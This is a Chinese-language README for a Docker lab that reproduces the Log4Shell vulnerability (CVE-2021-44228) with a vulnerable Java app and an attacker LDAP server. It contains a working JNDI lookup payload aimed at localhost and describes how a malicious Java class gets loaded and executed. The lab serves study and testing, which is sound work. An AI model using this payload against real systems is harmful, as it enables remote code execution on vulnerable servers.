CVE-2021-44228 (Log4Shell) 漏洞实验室环境
简介
本项目提供了一个 Docker 化环境,用于安全地实践和理解关键 Log4j 漏洞 CVE-2021-44228 (Log4Shell)。
主要特性
- 安全的 Docker 化测试环境
- 自定义 Payload 测试能力
- 包含攻击者的 LDAP 服务器和易受攻击的 Java 应用程序
快速开始
docker compose up --build
Payload 测试
- 您可以在
/vulnerable/Makefile 的测试部分修改 payload
- 默认 payload 使用
$${jndi:ldap://127.0.0.1:10000/}
工作原理
- 易受攻击的 Java 应用程序启动
- 攻击者的 LDAP 服务器监听端口 10000
- 易受攻击的应用程序运行
- Log4Shell payload 通过 Makefile 测试部分记录到易受攻击的应用程序中
- 易受攻击的应用程序尝试 JNDI LDAP 查询
- LDAP 服务器返回恶意的 Java 类
- 易受攻击的应用程序加载并执行此类